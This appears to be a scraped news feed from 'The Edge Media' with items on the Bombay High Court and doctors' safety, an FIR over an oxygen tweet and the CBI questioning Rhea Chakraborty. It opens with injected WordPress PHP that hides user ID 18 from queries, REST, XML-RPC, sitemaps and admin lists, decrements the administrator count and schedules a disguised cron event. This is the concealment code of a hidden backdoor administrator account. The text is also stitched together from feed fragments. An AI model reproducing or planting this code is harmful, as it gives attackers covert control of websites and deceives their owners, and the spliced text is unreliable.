add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Bombay High Court issued an statement saying that the Maharashtra government is not at all serious about protecting its Doctors. appeared first on The Edge Media.
]]>The deputy secretary of the Health department filed an affidavit. A bench of Chief Justice Dipankar Datta and Justice GS Kulkarni were reviewing it. The high court gave the orders for the same on May 13. The bench asked the state government to inform the Hight Court , about the FIRs reported for the assault against the doctors. The State government should also provide the steps taken to protect them, said the bench.
A total number of 436 cases are registered across the state. But, the state failed to provide the information of the guidelines taken to prevent it.
The bench said,”This is so shocking, the one-page affidavit that has been filed. From the next time, we are not going to accept affidavits unless vetted by the government pleader. The only word we can use is pathetic. This is absolute callous. The state is not at all serious about protecting its doctors. Yet, the public expects doctors to give their all”. The bench has instructed the deputy secretary of the state health department, to file a subsidiary affidavit by the coming week. The bench also added that the affidavit should necessarily include the state’s response on how to handle such incidents and to protect the doctors and the medical staff.
The post The Bombay High Court issued an statement saying that the Maharashtra government is not at all serious about protecting its Doctors. appeared first on The Edge Media.
]]>The post Son asked oxygen for his grandfather, police filed FIR against him appeared first on The Edge Media.
]]>The young man Shashank Yadav tagged Bollywood actor Sonu Sood with his Twitter handle on the night of 26 April in a tweet saying, “Oxygen cylinders are needed at the earliest.
After seeing Shashank’s tweet, regional BJP MP and Union Minister Smriti Irani said in a tweet made on April 27, “I called Shashank thrice but the phone did not pick up.” I have asked the District Magistrate and Amethi Police to help the needy person.
Amethi Superintendent of Police Dinesh Singh said, “Shashank had asked to provide oxygen for his maternal grandfather , although he did not write in the tweet that his maternal grandfather covid- 19 are infected or not.
Singh said, “When Shashank’s mobile number was called, he did not pick up the phone. We thought that he might be in trouble, so he is not picking up the phone. After that we used surveillance and after finding out Shashank’s presence we reached his house. Where he was sleeping.
The Superintendent of Police claimed that Shashank’s house was 20 km from his maternal grandfather’s house and that he had gone there for barely five minutes after which He tweeted that. It is evident that Shashank’s motive was to spread sensation and fear by tweeting.
He said that a case has been registered against Shashank under the relevant sections of the Epidemic Act and he has been given a warning under section 41 of the Criminal Procedure Code after serving the notice.
Meanwhile, the district’s chief medical officer, Dr Ashutosh Dubey, said that Shashank’s maternal grandfather had not been tested for covid-19 and was undergoing treatment in a private hospital.
He was also not taken to the nearby Ramganj or Community Health Center in Bhadar. The Chief Medical Officer said that the claim of Shashank’s maternal grandfather’s death due to lack of oxygen is also not correct.
Amethi police said in one of its tweets, “Neither the patient was infected with covid-19 nor he need oxygen. He died of a heart attack on 26 April. The kind of tweet that Shashank tweeted is not only condemnable but also punishable.
The post Son asked oxygen for his grandfather, police filed FIR against him appeared first on The Edge Media.
]]>The post Lalu Yadav stuck on phone game from jail: FIR in Patna appeared first on The Edge Media.
]]>The post Lalu Yadav stuck on phone game from jail: FIR in Patna appeared first on The Edge Media.
]]>The post CBI Questions Rhea Chakraborty & Her Brother Again appeared first on The Edge Media.
]]>The 28-year-old actress is accused of abetting Rajput’s suicide. Her brother Showik Chakraborty was also called by the CBI for the fourth day in a row for questioning in the case, the official said.
Rhea Chakraborty and her brother reached the DRDO guest house at Kalina in Santacruz, where the probe team is stationed, around 10.30 am, he said. A Mumbai Police vehicle escorted the car in which the two arrived at the guest house, he said. Rajput’s manager Samual Miranda and domestic help Keshav also reached the guest house in the morning.
Earlier, Rhea Chakraborty was questioned for nearly 10 hours on Friday and allowed to return home under police escort as a large number of media personnel were present outside her building. She was quizzed for around seven hours on Saturday. Her brother is being questioned by the CBI since Thursday.
On Saturday, the CBI also questioned Rajput’s flatmate Siddharth Pithani, cook Neeraj Singh and accountant Rajat Mewati at the guest house. Rajput (34) was found hanging in his flat in suburban Bandra on June 14.
Rhea Chakraborty had been earlier questioned by the Mumbai Police in the case. The Enforcement Directorate has also quizzed her in a related money laundering case.
The Supreme Court last week upheld the transfer of an FIR, lodged by Rajput’s father in Patna against the actress and others for allegedly abetting his son’s suicide and misappropriating his money, to the CBI.
– PTI
The post CBI Questions Rhea Chakraborty & Her Brother Again appeared first on The Edge Media.
]]>